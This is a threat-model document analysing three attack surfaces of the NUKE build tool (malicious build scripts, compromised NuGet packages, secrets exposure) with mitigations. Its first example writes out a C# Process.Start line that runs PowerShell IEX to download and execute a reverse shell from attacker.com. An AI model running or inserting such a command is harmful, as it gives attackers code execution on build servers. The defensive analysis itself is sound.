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attack-surface.md

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Attack Surface Analysis for nuke-build/nuke

Attack Surface: Malicious Build Scripts (Arbitrary Code Execution)

  • 1. Malicious Build Scripts (Arbitrary Code Execution)

    • Description: Attackers modify the build script (build.cs or related files) to execute arbitrary code on the build server.
    • How NUKE Contributes: NUKE's core functionality is to execute C# code within the build.cs file and related project files. This provides a direct and powerful mechanism for arbitrary code execution if the script is compromised. NUKE is the execution engine.
    • Example: An attacker adds a line to build.cs that downloads and executes a reverse shell: Process.Start("powershell.exe", "-c \"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')\"");. This leverages NUKE's ability to run C# code.
    • Impact: Complete system compromise (RCE), data exfiltration, lateral movement within the network, deployment of malicious software.
    • Risk Severity: Critical
    • Mitigation Strategies:
      • Strict Code Review: Mandatory, multi-person code reviews for all changes to build scripts, focusing on security implications.
      • Source Control Security: Strong access controls (least privilege), multi-factor authentication, and branch protection rules (requiring approvals) on the source control repository hosting the build scripts.
      • Isolated Build Environment: Run builds in isolated containers (e.g., Docker) that are regularly rebuilt from a known-good image. This contains the impact of a compromised build script.
      • Code Signing (Advanced): Digitally sign build scripts to ensure integrity and authenticity. Requires a robust key management infrastructure.
      • Principle of Least Privilege: Run the NUKE build process with the minimum necessary permissions. Never run as administrator/root unless absolutely unavoidable.
      • Regular Security Audits: Periodic security audits of the entire build pipeline, including a thorough review of the build scripts and infrastructure.
      • Static Analysis: Use static analysis tools (e.g., Roslyn analyzers, SonarQube) to scan build scripts for potential security vulnerabilities (e.g., command injection, insecure file operations).

Attack Surface: Supply Chain Attacks (Compromised Dependencies within Build Script)

  • 2. Supply Chain Attacks (Compromised Dependencies within Build Script)

    • Description: Attackers compromise a NuGet package that is referenced within the NUKE build script itself. This is distinct from compromising NUKE's own dependencies.
    • How NUKE Contributes: NUKE build scripts (build.cs, etc.) can use the full power of C# and NuGet. This means they can reference any NuGet package, including malicious ones. NUKE executes the code within those packages.
    • Example: A build script uses a seemingly benign NuGet package for generating reports. The attacker compromises that package and adds code to steal environment variables during the build process. NUKE executes this malicious code as part of the build.
    • Impact: Code execution within the build context, data exfiltration (secrets, source code), potential compromise of the build server, and potentially downstream systems if the compromised package affects build artifacts.
    • Risk Severity: High
    • Mitigation Strategies:
      • Private Package Repository: Use a private package repository (Azure Artifacts, GitHub Packages, JFrog Artifactory) to host internal packages and carefully vetted third-party packages used within the build script.
      • Package Version Pinning: Pin package versions to specific, known-good versions in the *.csproj file of the build project. Regularly review and update these pinned versions after security checks. This prevents automatic updates to compromised versions.
      • Dependency Scanning: Use dependency scanning tools (e.g., dotnet list package --vulnerable, OWASP Dependency-Check, Snyk) to identify known vulnerabilities in the NuGet packages referenced by the build script.
      • Software Composition Analysis (SCA): Employ SCA tools for a comprehensive inventory of dependencies and their vulnerabilities, specifically focusing on the dependencies of the build project.
      • Vulnerability Alerts: Subscribe to vulnerability alerts for all NuGet packages used in the build script.

Attack Surface: Secrets Exposure (via Build Script Mismanagement)

  • 3. Secrets Exposure (via Build Script Mismanagement)

    • Description: Sensitive information (API keys, passwords) is exposed due to improper handling within the NUKE build script.
    • How NUKE Contributes: NUKE build scripts often require access to secrets to interact with external services. If the script handles these secrets insecurely, NUKE becomes the vehicle for their exposure.
    • Example: A developer accidentally prints an API key to the console using Console.WriteLine(SecretApiKey); within the build.cs file. NUKE executes this code, exposing the secret in the build logs.
    • Impact: Unauthorized access to sensitive resources, data breaches, potential compromise of other systems.
    • Risk Severity: High
    • Mitigation Strategies:
      • Secrets Management Solution: Use a dedicated secrets management solution (Azure Key Vault, AWS Secrets Manager, HashiCorp Vault) and integrate it with NUKE.
      • NUKE Secrets Management: Utilize NUKE's built-in secrets management features (e.g., [Secret] attribute) to securely inject secrets into the build environment without exposing them in the script.
      • Environment Variables: Load secrets from environment variables, and ensure those variables are not logged or stored in insecure locations.
      • Log Redaction: Configure build servers and logging systems to automatically redact sensitive information from logs. This is a defense-in-depth measure.
      • Avoid Printing Secrets: Absolutely never print secrets to the console or logs within the build script.
      • .gitignore for Build Project: Ensure that any local configuration files or scripts used during development of the build script that might contain secrets are added to a .gitignore file to prevent accidental commits to the repository.